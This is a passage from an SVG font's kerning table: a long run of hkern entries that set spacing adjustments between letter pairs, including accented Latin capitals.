<hkern u1="K" u2="w" k="106" />
<hkern u1="K" u2="v" k="106" />
<hkern u1="K" u2="u" k="66" />
<hkern u1="K" u2="t" k="63" />
<hkern u1="K" u2="s" k="43" />
<hkern u1="K" u2="q" k="63" />
<hkern u1="K" u2="o" k="86" />
<hkern u1="K" u2="n" k="43" />
<hkern u1="K" u2="m" k="43" />
<hkern u1="K" u2="g" k="-41" />
<hkern u1="K" u2="e" k="63" />
<hkern u1="K" u2="d" k="63" />
<hkern u1="K" u2="c" k="63" />
<hkern u1="K" u2="a" k="41" />
<hkern u1="K" u2="U" k="66" />
<hkern u1="K" u2="R" k="23" />
<hkern u1="K" u2="Q" k="86" />
<hkern u1="K" u2="O" k="127" />
<hkern u1="L" u2="g" k="-43" />
<hkern u1="L" u2="W" k="213" />
<hkern u1="L" u2="V" k="213" />
<hkern u1="L" u2="T" k="213" />
<hkern u1="M" u2="&#xe6;" k="-20" />
<hkern u1="M" u2="&#xe5;" k="-20" />
<hkern u1="M" u2="&#xe4;" k="-20" />
<hkern u1="M" u2="&#xe3;" k="-20" />
<hkern u1="M" u2="&#xe2;" k="-20" />
<hkern u1="M" u2="&#xe1;" k="-20" />
<hkern u1="M" u2="&#xe0;" k="-20" />
<hkern u1="M" u2="a" k="-20" />
<hkern u1="M" u2="W" k="43" />
<hkern u1="O" u2="b" k="-20" />
<hkern u1="O" u2="X" k="86" />
<hkern u1="O" u2="W" k="63" />
<hkern u1="O" u2="V" k="66" />
<hkern u1="O" u2="T" k="84" />
<hkern u1="O" u2="Q" k="-43" />
<hkern u1="P" u2="&#x178;" k="20" />
<hkern u1="P" u2="&#x153;" k="43" />
<hkern u1="P" u2="&#xff;" k="-43" />
<hkern u1="P" u2="&#xfd;" k="-43" />
<hkern u1="P" u2="&#xf8;" k="43" />
<hkern u1="P" u2="&#xf6;" k="43" />
<hkern u1="P" u2="&#xf5;" k="43" />
<hkern u1="P" u2="&#xf4;" k="43" />
<hkern u1="P" u2="&#xf3;" k="43" />
<hkern u1="P" u2="&#xf2;" k="43" />
<hkern u1="P" u2="&#xeb;" k="43" />
<hkern u1="P" u2="&#xea;" k="43" />
<hkern u1="P" u2="&#xe9;" k="43" />
<hkern u1="P" u2="&#xe8;" k="43" />
<hkern u1="P" u2="&#xe7;" k="63" />
<hkern u1="P" u2="&#xe6;" k="43" />
<hkern u1="P" u2="&#xe5;" k="43" />
<hkern u1="P" u2="&#xe4;" k="43" />
<hkern u1="P" u2="&#xe3;" k="43" />
<hkern u1="P" u2="&#xe2;" k="43" />
<hkern u1="P" u2="&#xe1;" k="43" />
<hkern u1="P" u2="&#xe0;" k="43" />
<hkern u1="P" u2="&#xdd;" k="20" />
<hkern u1="P" u2="y" k="-43" />
<hkern u1="P" u2="w" k="-43" />
<hkern u1="P" u2="v" k="-43" />
<hkern u1="P" u2="t" k="-23" />
<hkern u1="P" u2="r" k="43" />
<hkern u1="P" u2="q" k="66" />
<hkern u1="P" u2="o" k="43" />
<hkern u1="P" u2="g" k="41" />
<hkern u1="P" u2="e" k="43" />
<hkern u1="P" u2="d" k="63" />
<hkern u1="P" u2="c" k="63" />
<hkern u1="P" u2="a" k="43" />
<hkern u1="P" u2="Y" k="20" />
<hkern u1="P" u2="X" k="86" />
<hkern u1="P" u2="W" k="23" />
<hkern u1="Q" u2="&#x178;" k="84" />
<hkern u1="Q" u2="&#xdd;" k="84" />
<hkern u1="Q" u2="Y" k="84" />
<hkern u1="Q" u2="W" k="43" />
<hkern u1="Q" u2="V" k="63" />
<hkern u1="Q" u2="T" k="84" />
<hkern u1="R" u2="&#xff;" k="-84" />
<hkern u1="R" u2="&#xfd;" k="-84" />
<hkern u1="R" u2="&#xdc;" k="-43" />
<hkern u1="R" u2="&#xdb;" k="-43" />
<hkern u1="R" u2="&#xda;" k="-43" />
<hkern u1="R" u2="&#xd9;" k="-43" />
<hkern u1="R" u2="y" k="-84" />
<hkern u1="R" u2="w" k="-43" />
<hkern u1="R" u2="r" k="-20" />
<hkern u1="R" u2="j" k="-86" />
<hkern u1="R" u2="h" k="-23" />
<hkern u1="R" u2="Z" k="-20" />
<hkern u1="R" u2="U" k="-43" />
<hkern u1="R" u2="T" k="-63" />
<hkern u1="R" u2="S" k="-63" />
<hkern u1="S" u2="w" k="20" />
<hkern u1="S" u2="v" k="23" />
<hkern u1="S" u2="t" k="-23" />
<hkern u1="S" u2="r" k="-41" />
<hkern u1="S" u2="q" k="-41" />
<hkern u1="S" u2="p" k="-20" />
<hkern u1="S" u2="m" k="-20" />
<hkern u1="S" u2="k" k="-23" />
<hkern u1="S" u2="h" k="-20" />
<hkern u1="S" u2="g" k="-63" />
<hkern u1="T" u2="&#x178;" k="-86" />
<hkern u1="T" u2="&#x153;" k="276" />
<hkern u1="T" u2="&#xff;" k="190" />
<hkern u1="T" u2="&#xfd;" k="190" />
<hkern u1="T" u2="&#xfc;" k="233" />
<hkern u1="T" u2="&#xfb;" k="233" />
<hkern u1="T" u2="&#xfa;" k="233" />
<hkern u1="T" u2="&#xf9;" k="233" />
<hkern u1="T" u2="&#xf8;" k="276" />
<hkern u1="T" u2="&#xf6;" k="276" />
<hkern u1="T" u2="&#xf5;" k="276" />
<hkern u1="T" u2="&#xf4;" k="276" />
<hkern u1="T" u2="&#xf3;" k="276" />
<hkern u1="T" u2="&#xf2;" k="276" />
<hkern u1="T" u2="&#xf1;" k="236" />
<hkern u1="T" u2="&#xef;" k="20" />
<hkern u1="T" u2="&#xee;" k="20" />
<hkern u1="T" u2="&#xed;" k="20" />
<hkern u1="T" u2="&#xec;" k="20" />
<hkern u1="T" u2="&#xeb;" k="276" />
<hkern u1="T" u2="&#xea;" k="276" />
<hkern u1="T" u2="&#xe9;" k="276" />
<hkern u1="T" u2="&#xe8;" k="276" />
<hkern u1="T" u2="&#xe7;" k="256" />
<hkern u1="T" u2="&#xe6;" k="256" />
<hkern u1="T" u2="&#xe5;" k="256" />
<hkern u1="T" u2="&#xe4;" k="256" />
<hkern u1="T" u2="&#xe3;" k="256" />
<hkern u1="T" u2="&#xe2;" k="256" />
<hkern u1="T" u2="&#xe1;" k="256" />
<hkern u1="T" u2="&#xe0;" k="256" />
<hkern u1="T" u2="&#xdd;" k="-86" />
<hkern u1="T" u2="&#xdc;" k="-43" />
<hkern u1="T" u2="&#xdb;" k="-43" />
<hkern u1="T" u2="&#xda;" k="-43" />
<hkern u1="T" u2="&#xd9;" k="-43" />
<hkern u1="T" u2="z" k="170" />
<hkern u1="T" u2="y" k="190" />
<hkern u1="T" u2="x" k="193" />
<hkern u1="T" u2="w" k="190" />
<hkern u1="T" u2="v" k="213" />
<hkern u1="T" u2="u" k="233" />
<hkern u1="T" u2="t" k="41" />
<hkern u1="T" u2="s" k="256" />
<hkern u1="T" u2="r" k="213" />
<hkern u1="T" u2="q" k="256" />
<hkern u1="T" u2="p" k="233" />
<hkern u1="T" u2="o" k="276" />
<hkern u1="T" u2="n" k="236" />
<hkern u1="T" u2="m" k="233" />
<hkern u1="T" u2="i" k="20" />
<hkern u1="T" u2="g" k="256" />
<hkern u1="T" u2="f" k="106" />
<hkern u1="T" u2="e" k="276" />
<hkern u1="T" u2="d" k="236" />
<hkern u1="T" u2="c" k="256" />
<hkern u1="T" u2="a" k="256" />
<hkern u1="T" u2="Z" k="-43" />
<hkern u1="T" u2="Y" k="-86" />
<hkern u1="T" u2="W" k="-66" />
<hkern u1="T" u2="V" k="-66" />
<hkern u1="T" u2="U" k="-43" />
<hkern u1="T" u2="&#x2e;" k="129" />
<hkern u1="U" u2="x" k="43" />
<hkern u1="U" u2="w" k="23" />
<hkern u1="U" u2="v" k="20" />
<hkern u1="U" u2="r" k="43" />
<hkern u1="U" u2="q" k="43" />
<hkern u1="U" u2="p" k="23" />
<hkern u1="U" u2="m" k="23" />
<hkern u1="U" u2="k" k="20" />
<hkern u1="U" u2="h" k="23" />
<hkern u1="U" u2="g" k="43" />
<hkern u1="U" u2="d" k="43" />
<hkern u1="U" u2="X" k="63" />
<hkern u1="U" u2="W" k="66" />
<hkern u1="V" u2="&#x153;" k="193" />
<hkern u1="V" u2="&#xff;" k="63" />
<hkern u1="V" u2="&#xfd;" k="63" />
<hkern u1="V" u2="&#xfc;" k="150" />
<hkern u1="V" u2="&#xfb;" k="150" />
<hkern u1="V" u2="&#xfa;" k="150" />
<hkern u1="V" u2="&#xf9;" k="150" />
<hkern u1="V" u2="&#xf8;" k="193" />
<hkern u1="V" u2="&#xf6;" k="193" />
<hkern u1="V" u2="&#xf5;" k="193" />
<hkern u1="V" u2="&#xf4;" k="193" />
<hkern u1="V" u2="&#xf3;" k="193" />
<hkern u1="V" u2="&#xf2;" k="193" />
<hkern u1="V" u2="&#xf1;" k="150" />
<hkern u1="V" u2="&#xef;" k="41" />
<hkern u1="V" u2="&#xee;" k="41" />
<hkern u1="V" u2="&#xed;" k="41" />
<hkern u1="V" u2="&#xec;" k="41" />
<hkern u1="V" u2="&#xeb;" k="193" />
<hkern u1="V" u2="&#xea;" k="193" />
<hkern u1="V" u2="&#xe9;" k="193" />
<hkern u1="V" u2="&#xe8;" k="193" />
<hkern u1="V" u2="&#xe7;" k="172" />
<hkern u1="V" u2="&#xe6;" k="172" />
<hkern u1="V" u2="&#xe5;" k="172" />
<hkern u1="V" u2="&#xe4;" k="172" />
<hkern u1="V" u2="&#xe3;" k="172" />
<hkern u1="V" u2="&#xe2;" k="172" />
<hkern u1="V" u2="&#xe1;" k="172" />
<hkern u1="V" u2="&#xe0;" k="172" />
<hkern u1="V" u2="z" k="150" />
<hkern u1="V" u2="y" k="63" />
<hkern u1="V" u2="x" k="63" />
<hkern u1="V" u2="w" k="63" />
<hkern u1="V" u2="v" k="86" />
<hkern u1="V" u2="u" k="150" />
<hkern u1="V" u2="t" k="86" />
<hkern u1="V" u2="s" k="150" />
<hkern u1="V" u2="r" k="150" />
<hkern u1="V" u2="q" k="170" />
<hkern u1="V" u2="p" k="150" />
<hkern u1="V" u2="o" k="193" />
<hkern u1="V" u2="n" k="150" />
<hkern u1="V" u2="m" k="150" />
<hkern u1="V" u2="k" k="43" />
<hkern u1="V" u2="i" k="41" />
<hkern u1="V" u2="h" k="43" />
<hkern u1="V" u2="g" k="213" />
<hkern u1="V" u2="f" k="84" />
<hkern u1="V" u2="e" k="193" />
<hkern u1="V" u2="d" k="170" />
<hkern u1="V" u2="c" k="172" />
<hkern u1="V" u2="a" k="172" />
<hkern u1="W" u2="&#x178;" k="-86" />
<hkern u1="W" u2="&#x153;" k="193" />
<hkern u1="W" u2="&#xff;" k="63" />
<hkern u1="W" u2="&#xfd;" k="63" />
<hkern u1="W" u2="&#xfc;" k="129" />
<hkern u1="W" u2="&#xfb;" k="129" />
<hkern u1="W" u2="&#xfa;" k="129" />
<hkern u1="W" u2="&#xf9;" k="129" />
<hkern u1="W" u2="&#xf8;" k="193" />
<hkern u1="W" u2="&#xf6;" k="193" />
<hkern u1="W" u2="&#xf5;" k="193" />
<hkern u1="W" u2="&#xf4;" k="193" />
<hkern u1="W" u2="&#xf3;" k="193" />
<hkern u1="W" u2="&#xf2;" k="193" />
<hkern u1="W" u2="&#xf1;" k="106" />
<hkern u1="W" u2="&#xef;" k="23" />
<hkern u1="W" u2="&#xee;" k="23" />
<hkern u1="W" u2="&#xed;" k="23" />
<hkern u1="W" u2="&#xec;" k="23" />
<hkern u1="W" u2="&#xeb;" k="170" />
<hkern u1="W" u2="&#xea;" k="170" />
<hkern u1="W" u2="&#xe9;" k="170" />
<hkern u1="W" u2="&#xe8;" k="170" />
<hkern u1="W" u2="&#xe7;" k="172" />
<hkern u1="W" u2="&#xe6;" k="170" />
<hkern u1="W" u2="&#xe5;" k="170" />
<hkern u1="W" u2="&#xe4;" k="170" />
<hkern u1="W" u2="&#xe3;" k="170" />
<hkern u1="W" u2="&#xe2;" k="170" />
<hkern u1="W" u2="&#xe1;" k="170" />
<hkern u1="W" u2="&#xe0;" k="170" />
<hkern u1="W" u2="&#xdd;" k="-86" />
<hkern u1="W" u2="z" k="106" />
<hkern u1="W" u2="y" k="63" />
<hkern u1="W" u2="x" k="84" />
<hkern u1="W" u2="w" k="86" />
<hkern u1="W" u2="u" k="129" />
<hkern u1="W" u2="t" k="66" />
<hkern u1="W" u2="s" k="106" />
<hkern u1="W" u2="r" k="106" />
<hkern u1="W" u2="q" k="170" />
<hkern u1="W" u2="p" k="106" />
<hkern u1="W" u2="o" k="193" />
<hkern u1="W" u2="n" k="106" />
<hkern u1="W" u2="m" k="106" />
<hkern u1="W" u2="i" k="23" />
<hkern u1="W" u2="h" k="43" />
<hkern u1="W" u2="g" k="172" />
<hkern u1="W" u2="e" k="170" />
<hkern u1="W" u2="d" k="170" />
<hkern u1="W" u2="c" k="172" />
<hkern u1="W" u2="a" k="170" />
<hkern u1="W" u2="Y" k="-86" />
<hkern u1="X" u2="&#x153;" k="43" />
<hkern u1="X" u2="&#xff;" k="63" />
<hkern u1="X" u2="&#xfd;" k="63" />
<hkern u1="X" u2="&#xf8;" k="43" />
<hkern u1="X" u2="&#xf6;" k="43" />
<hkern u1="X" u2="&#xf5;" k="43" />
<hkern u1="X" u2="&#xf4;" k="43" />
<hkern u1="X" u2="&#xf3;" k="43" />
<hkern u1="X" u2="&#xf2;" k="43" />
<hkern u1="X" u2="&#xeb;" k="41" />
<hkern u1="X" u2="&#xea;" k="41" />
<hkern u1="X" u2="&#xe9;" k="41" />
<hkern u1="X" u2="&#xe8;" k="41" />
<hkern u1="X" u2="y" k="63" />
<hkern u1="X" u2="w" k="43" />
<hkern u1="X" u2="v" k="41" />
<hkern u1="X" u2="t" k="43" />
<hkern u1="X" u2="o" k="43" />
<hkern u1="X" u2="j" k="-109" />
<hkern u1="X" u2="g" k="-43" />
<hkern u1="X" u2="e" k="41" />
<hkern u1="X" u2="d" k="41" />
<hkern u1="Y" u2="x" k="127" />
<hkern u1="Y" u2="w" k="106" />
<hkern u1="Y" u2="v" k="106" />
<hkern u1="Y" u2="r" k="172" />
<hkern u1="Y" u2="q" k="236" />
<hkern u1="Y" u2="p" k="172" />
<hkern u1="Y" u2="m" k="170" />
<hkern u1="Y" u2="k" k="63" />
<hkern u1="Y" u2="h" k="63" />
<hkern u1="Y" u2="g" k="236" />
<hkern u1="Y" u2="f" k="63" />
<hkern u1="Y" u2="d" k="233" />
<hkern u1="Z" u2="g" k="-66" />
<hkern u1="a" u2="w" k="66" />
<hkern u1="a" u2="v" k="63" />
<hkern u1="a" u2="t" k="43" />
<hkern u1="a" u2="j" k="-43" />
<hkern u1="a" u2="b" k="20" />
<hkern u1="b" u2="&#xff;" k="43" />
<hkern u1="b" u2="&#xfd;" k="43" />
<hkern u1="b" u2="z" k="43" />
<hkern u1="b" u2="y" k="43" />
<hkern u1="b" u2="w" k="43" />
<hkern u1="b" u2="v" k="41" />
<hkern u1="b" u2="t" k="41" />
<hkern u1="b" u2="m" k="20" />
<hkern u1="c" u2="q" k="-41" />
<hkern u1="c" u2="g" k="-23" />
<hkern u1="d" u2="&#xfc;" k="23" />
<hkern u1="d" u2="&#xfb;" k="23" />
<hkern u1="d" u2="&#xfa;" k="23" />
<hkern u1="d" u2="&#xf9;" k="23" />
<hkern u1="d" u2="&#xeb;" k="-23" />
<hkern u1="d" u2="&#xea;" k="-23" />
<hkern u1="d" u2="&#xe9;" k="-23" />
<hkern u1="d" u2="&#xe8;" k="-23" />
<hkern u1="d" u2="w" k="43" />
<hkern u1="d" u2="u" k="23" />
<hkern u1="d" u2="j" k="-43" />
<hkern u1="d" u2="e" k="-23" />
<hkern u1="e" u2="x" k="20" />
<hkern u1="e" u2="w" k="41" />
<hkern u1="e" u2="v" k="23" />
<hkern u1="e" u2="t" k="43" />
<hkern u1="e" u2="m" k="20" />
<hkern u1="e" u2="k" k="20" />
<hkern u1="e" u2="h" k="20" />
<hkern u1="f" u2="&#x178;" k="-43" />
<hkern u1="f" u2="&#x153;" k="84" />
<hkern u1="f" u2="&#xfc;" k="43" />
<hkern u1="f" u2="&#xfb;" k="43" />
<hkern u1="f" u2="&#xfa;" k="43" />
<hkern u1="f" u2="&#xf9;" k="43" />
<hkern u1="f" u2="&#xf8;" k="84" />
<hkern u1="f" u2="&#xf6;" k="84" />
<hkern u1="f" u2="&#xf5;" k="84" />
<hkern u1="f" u2="&#xf4;" k="84" />
<hkern u1="f" u2="&#xf3;" k="84" />
<hkern u1="f" u2="&#xf2;" k="84" />
<hkern u1="f" u2="&#xf1;" k="63" />
<hkern u1="f" u2="&#xef;" k="20" />
<hkern u1="f" u2="&#xee;" k="20" />
<hkern u1="f" u2="&#xed;" k="20" />
<hkern u1="f" u2="&#xec;" k="20" />
<hkern u1="f" u2="&#xdd;" k="-43" />
<hkern u1="f" u2="x" k="43" />
<hkern u1="f" u2="u" k="43" />
<hkern u1="f" u2="s" k="63" />
<hkern u1="f" u2="r" k="20" />
<hkern u1="f" u2="o" k="84" />
<hkern u1="f" u2="n" k="63" />
<hkern u1="f" u2="i" k="20" />
<hkern u1="f" u2="g" k="86" />
<hkern u1="f" u2="Y" k="-43" />
<hkern u1="f" u2="W" k="-84" />
<hkern u1="f" u2="V" k="-63" />
<hkern u1="f" u2="T" k="-43" />
<hkern u1="g" u2="&#xff;" k="-20" />
<hkern u1="g" u2="&#xfd;" k="-20" />
<hkern u1="g" u2="y" k="-20" />
<hkern u1="g" u2="x" k="-63" />
<hkern u1="g" u2="w" k="-23" />
<hkern u1="g" u2="v" k="-20" />
<hkern u1="g" u2="j" k="-256" />
<hkern u1="g" u2="h" k="-20" />
<hkern u1="h" u2="&#xff;" k="43" />
<hkern u1="h" u2="&#xfd;" k="43" />
<hkern u1="h" u2="&#xfc;" k="20" />
<hkern u1="h" u2="&#xfb;" k="20" />
<hkern u1="h" u2="&#xfa;" k="20" />
<hkern u1="h" u2="&#xf9;" k="20" />
<hkern u1="h" u2="y" k="43" />
<hkern u1="h" u2="w" k="63" />
<hkern u1="h" u2="v" k="63" />
<hkern u1="h" u2="u" k="20" />
<hkern u1="i" u2="x" k="-43" />
<hkern u1="i" u2="J" k="-86" />
<hkern u1="j" u2="K" k="-23" />
<hkern u1="k" u2="&#x153;" k="43" />
<hkern u1="k" u2="&#xff;" k="-43" />
<hkern u1="k" u2="&#xfd;" k="-43" />
<hkern u1="k" u2="&#xf8;" k="43" />
<hkern u1="k" u2="&#xf6;" k="43" />
<hkern u1="k" u2="&#xf5;" k="43" />
<hkern u1="k" u2="&#xf4;" k="43" />
<hkern u1="k" u2="&#xf3;" k="43" />
<hkern u1="k" u2="&#xf2;" k="43" />
<hkern u1="k" u2="y" k="-43" />
<hkern u1="k" u2="v" k="-43" />
<hkern u1="k" u2="o" k="43" />
<hkern u1="m" u2="&#xff;" k="43" />
<hkern u1="m" u2="&#xfd;" k="43" />
<hkern u1="m" u2="&#xfc;" k="43" />
<hkern u1="m" u2="&#xfb;" k="43" />
<hkern u1="m" u2="&#xfa;" k="43" />
<hkern u1="m" u2="&#xf9;" k="43" />
<hkern u1="m" u2="y" k="43" />
<hkern u1="m" u2="w" k="43" />
<hkern u1="m" u2="v" k="43" />
<hkern u1="m" u2="u" k="43" />
<hkern u1="m" u2="t" k="43" />
<hkern u1="m" u2="p" k="20" />
<hkern u1="n" u2="w" k="43" />
<hkern u1="n" u2="v" k="63" />
<hkern u1="n" u2="t" k="43" />
<hkern u1="o" u2="x" k="20" />
<hkern u1="o" u2="w" k="43" />
<hkern u1="o" u2="v" k="20" />
<hkern u1="o" u2="t" k="20" />
<hkern u1="q" u2="&#xfc;" k="20" />
<hkern u1="q" u2="&#xfb;" k="20" />
<hkern u1="q" u2="&#xfa;" k="20" />
<hkern u1="q" u2="&#xf9;" k="20" />
<hkern u1="q" u2="u" k="20" />
<hkern u1="r" u2="&#xff;" k="-63" />
<hkern u1="r" u2="&#xfd;" k="-63" />
<hkern u1="r" u2="&#xfc;" k="-20" />
<hkern u1="r" u2="&#xfb;" k="-20" />
<hkern u1="r" u2="&#xfa;" k="-20" />
<hkern u1="r" u2="&#xf9;" k="-20" />
<hkern u1="r" u2="y" k="-63" />
<hkern u1="r" u2="x" k="-43" />
<hkern u1="r" u2="w" k="-43" />
<hkern u1="r" u2="v" k="-63" />
<hkern u1="r" u2="u" k="-20" />
<hkern u1="r" u2="t" k="-63" />
<hkern u1="t" u2="&#xff;" k="-23" />
<hkern u1="t" u2="&#xfd;" k="-23" />
<hkern u1="t" u2="y" k="-23" />
<hkern u1="v" u2="&#xff;" k="-43" />
<hkern u1="v" u2="&#xfd;" k="-43" />
<hkern u1="v" u2="y" k="-43" />
<hkern u1="v" u2="x" k="-43" />
<hkern u1="v" u2="w" k="-63" />
<hkern u1="w" u2="&#xff;" k="-23" />
<hkern u1="w" u2="&#xfd;" k="-23" />
<hkern u1="w" u2="z" k="43" />
<hkern u1="w" u2="y" k="-23" />
<hkern u1="w" u2="x" k="-43" />
<hkern u1="x" u2="&#xff;" k="-66" />
<hkern u1="x" u2="&#xfd;" k="-66" />
<hkern u1="x" u2="y" k="-66" />
<hkern u1="&#xc0;" u2="x" k="-66" />
<hkern u1="&#xc0;" u2="w" k="106" />
<hkern u1="&#xc0;" u2="v" k="106" />
<hkern u1="&#xc0;" u2="t" k="84" />
<hkern u1="&#xc0;" u2="q" k="41" />
<hkern u1="&#xc0;" u2="g" k="-43" />
<hkern u1="&#xc0;" u2="f" k="41" />
<hkern u1="&#xc0;" u2="d" k="43" />
<hkern u1="&#xc0;" u2="W" k="190" />
<hkern u1="&#xc0;" u2="V" k="213" />
<hkern u1="&#xc0;" u2="T" k="213" />
<hkern u1="&#xc0;" u2="R" k="-20" />
<hkern u1="&#xc0;" u2="Q" k="43" />
<hkern u1="&#xc0;" u2="J" k="86" />
<hkern u1="&#xc0;" u2="G" k="43" />
<hkern u1="&#xc1;" u2="x" k="-66" />
<hkern u1="&#xc1;" u2="w" k="106" />
<hkern u1="&#xc1;" u2="v" k="106" />
<hkern u1="&#xc1;" u2="t" k="84" />
<hkern u1="&#xc1;" u2="q" k="41" />
<hkern u1="&#xc1;" u2="g" k="-43" />
<hkern u1="&#xc1;" u2="f" k="41" />
<hkern u1="&#xc1;" u2="d" k="43" />
<hkern u1="&#xc1;" u2="W" k="190" />
<hkern u1="&#xc1;" u2="V" k="213" />
<hkern u1="&#xc1;" u2="T" k="213" />
<hkern u1="&#xc1;" u2="R" k="-20" />
<hkern u1="&#xc1;" u2="Q" k="43" />
<hkern u1="&#xc1;" u2="J" k="86" />
<hkern u1="&#xc1;" u2="G" k="43" />
<hkern u1="&#xc2;" u2="x" k="-66" />
<hkern u1="&#xc2;" u2="w" k="106" />
<hkern u1="&#xc2;" u2="v" k="106" />
<hkern u1="&#xc2;" u2="t" k="84" />
<hkern u1="&#xc2;" u2="q" k="41" />
<hkern u1="&#xc2;" u2="g" k="-43" />
<hkern u1="&#xc2;" u2="f" k="41" />
<hkern u1="&#xc2;" u2="d" k="43" />
<hkern u1="&#xc2;" u2="W" k="190" />
<hkern u1="&#xc2;" u2="V" k="213" />
<hkern u1="&#xc2;" u2="T" k="213" />
<hkern u1="&#xc2;" u2="R" k="-20" />
<hkern u1="&#xc2;" u2="Q" k="43" />
<hkern u1="&#xc2;" u2="J" k="86" />
<hkern u1="&#xc2;" u2="G" k="43" />
<hkern u1="&#xc3;" u2="x" k="-66" />
<hkern u1="&#xc3;" u2="w" k="106" />
<hkern u1="&#xc3;" u2="v" k="106" />
<hkern u1="&#xc3;" u2="t" k="84" />
<hkern u1="&#xc3;" u2="q" k="41" />
<hkern u1="&#xc3;" u2="g" k="-43" />
<hkern u1="&#xc3;" u2="f" k="41" />
<hkern u1="&#xc3;" u2="d" k="43" />
<hkern u1="&#xc3;" u2="W" k="190" />
<hkern u1="&#xc3;" u2="V" k="213" />
<hkern u1="&#xc3;" u2="T" k="213" />
<hkern u1="&#xc3;" u2="R" k="-20" />
<hkern u1="&#xc3;" u2="Q" k="43" />
<hkern u1="&#xc3;" u2="J" k="86" />
<hkern u1="&#xc3;" u2="G" k="43" />
<hkern u1="&#xc4;" u2="x" k="-66" />
<hkern u1="&#xc4;" u2="w" k="106" />
<hkern u1="&#xc4;" u2="v" k="106" />
<hkern u1="&#xc4;" u2="t" k="84" />
<hkern u1="&#xc4;" u2="q" k="41" />
<hkern u1="&#xc4;" u2="g" k="-43" />
<hkern u1="&#xc4;" u2="f" k="41" />
<hkern u1="&#xc4;" u2="d" k="43" />
<hkern u1="&#xc4;" u2="W" k="190" />
<hkern u1="&#xc4;" u2="V" k="213" />
<hkern u1="&#xc4;" u2="T" k="213" />
<hkern u1="&#xc4;" u2="R" k="-20" />
<hkern u1="&#xc4;" u2="Q" k="43" />
<hkern u1="&#xc4;" u2="J" k="86" />
<hkern u1="&#xc4;" u2="G" k="43" />
<hkern u1="&#xc5;" u2="x" k="-66" />
<hkern u1="&#xc5;" u2="w" k="106" />
<hkern u1="&#xc5;" u2="v" k="106" />
<hkern u1="&#xc5;" u2="t" k="84" />
<hkern u1="&#xc5;" u2="q" k="41" />
<hkern u1="&#xc5;" u2="g" k="-43" />
<hkern u1="&#xc5;" u2="f" k="41" />
<hkern u1="&#xc5;" u2="d" k="43" />
<hkern u1="&#xc5;" u2="W" k="190" />
<hkern u1="&#xc5;" u2="V" k="213" />
<hkern u1="&#xc5;" u2="T" k="213" />
<hkern u1="&#xc5;" u2="R" k="-20" />
<hkern u1="&#xc5;" u2="Q" k="43" />
<hkern u1="&#xc5;" u2="J" k="86" />
<hkern u1="&#xc5;" u2="G" k="43" />
<hkern u1="&#xc6;" u2="&#x178;" k="-43" />
<hkern u1="&#xc6;" u2="&#xdd;" k="-43" />
<hkern u1="&#xc6;" u2="&#xd1;" k="-43" />
<hkern u1="&#xc6;" u2="x" k="-43" />
<hkern u1="&#xc6;" u2="s" k="-20" />
<hkern u1="&#xc6;" u2="j" k="-84" />
<hkern u1="&#xc6;" u2="Y" k="-43" />
<hkern u1="&#xc6;" u2="W" k="-20" />
<hkern u1="&#xc6;" u2="V" k="-23" />
<hkern u1="&#xc6;" u2="T" k="-84" />
<hkern u1="&#xc6;" u2="S" k="-43" />
<hkern u1="&#xc6;" u2="N" k="-43" />
<hkern u1="&#xc6;" u2="J" k="-23" />
<hkern u1="&#xc7;" u2="w" k="-43" />
<hkern u1="&#xc7;" u2="t" k="-43" />
<hkern u1="&#xc7;" u2="m" k="-43" />
<hkern u1="&#xc7;" u2="h" k="-43" />
<hkern u1="&#xc7;" u2="g" k="-20" />
<hkern u1="&#xc7;" u2="T" k="-43" />
<hkern u1="&#xc7;" u2="R" k="-63" />
<hkern u1="&#xc7;" u2="P" k="-43" />
<hkern u1="&#xc7;" u2="M" k="-43" />
<hkern u1="&#xc7;" u2="K" k="-66" />
<hkern u1="&#xc7;" u2="H" k="-63" />
<hkern u1="&#xc8;" u2="x" k="-43" />
<hkern u1="&#xc8;" u2="j" k="-84" />
<hkern u1="&#xc8;" u2="W" k="-20" />
<hkern u1="&#xc8;" u2="V" k="-23" />
<hkern u1="&#xc8;" u2="T" k="-84" />
<hkern u1="&#xc8;" u2="J" k="-23" />
<hkern u1="&#xc9;" u2="x" k="-43" />
<hkern u1="&#xc9;" u2="j" k="-84" />
<hkern u1="&#xc9;" u2="W" k="-20" />
<hkern u1="&#xc9;" u2="V" k="-23" />
<hkern u1="&#xc9;" u2="T" k="-84" />
<hkern u1="&#xc9;" u2="J" k="-23" />
<hkern u1="&#xca;" u2="x" k="-43" />
<hkern u1="&#xca;" u2="j" k="-84" />
<hkern u1="&#xca;" u2="W" k="-20" />
<hkern u1="&#xca;" u2="V" k="-23" />
<hkern u1="&#xca;" u2="T" k="-84" />
<hkern u1="&#xca;" u2="J" k="-23" />
<hkern u1="&#xcb;" u2="x" k="-43" />
<hkern u1="&#xcb;" u2="j" k="-84" />
<hkern u1="&#xcb;" u2="W" k="-20" />
<hkern u1="&#xcb;" u2="V" k="-23" />
<hkern u1="&#xcb;" u2="T" k="-84" />
<hkern u1="&#xcb;" u2="J" k="-23" />
<hkern u1="&#xcc;" u2="W" k="-43" />
<hkern u1="&#xcc;" u2="T" k="-66" />
<hkern u1="&#xcc;" u2="J" k="-20" />
<hkern u1="&#xcd;" u2="W" k="-43" />
<hkern u1="&#xcd;" u2="T" k="-66" />
<hkern u1="&#xcd;" u2="J" k="-20" />
<hkern u1="&#xce;" u2="W" k="-43" />
<hkern u1="&#xce;" u2="T" k="-66" />
<hkern u1="&#xce;" u2="J" k="-20" />
<hkern u1="&#xcf;" u2="W" k="-43" />
<hkern u1="&#xcf;" u2="T" k="-66" />
<hkern u1="&#xcf;" u2="J" k="-20" />
<hkern u1="&#xd2;" u2="b" k="-20" />
<hkern u1="&#xd2;" u2="X" k="86" />
<hkern u1="&#xd2;" u2="W" k="63" />
<hkern u1="&#xd2;" u2="V" k="66" />
<hkern u1="&#xd2;" u2="T" k="84" />
<hkern u1="&#xd2;" u2="Q" k="-43" />
<hkern u1="&#xd3;" u2="b" k="-20" />
<hkern u1="&#xd3;" u2="X" k="86" />
<hkern u1="&#xd3;" u2="W" k="63" />
<hkern u1="&#xd3;" u2="V" k="66" />
<hkern u1="&#xd3;" u2="T" k="84" />
<hkern u1="&#xd3;" u2="Q" k="-43" />
<hkern u1="&#xd4;" u2="b" k="-20" />
<hkern u1="&#xd4;" u2="X" k="86" />
<hkern u1="&#xd4;" u2="W" k="63" />
<hkern u1="&#xd4;" u2="V" k="66" />
<hkern u1="&#xd4;" u2="T" k="84" />
<hkern u1="&#xd4;" u2="Q" k="-43" />
<hkern u1="&#xd5;" u2="b" k="-20" />
<hkern u1="&#xd5;" u2="X" k="86" />
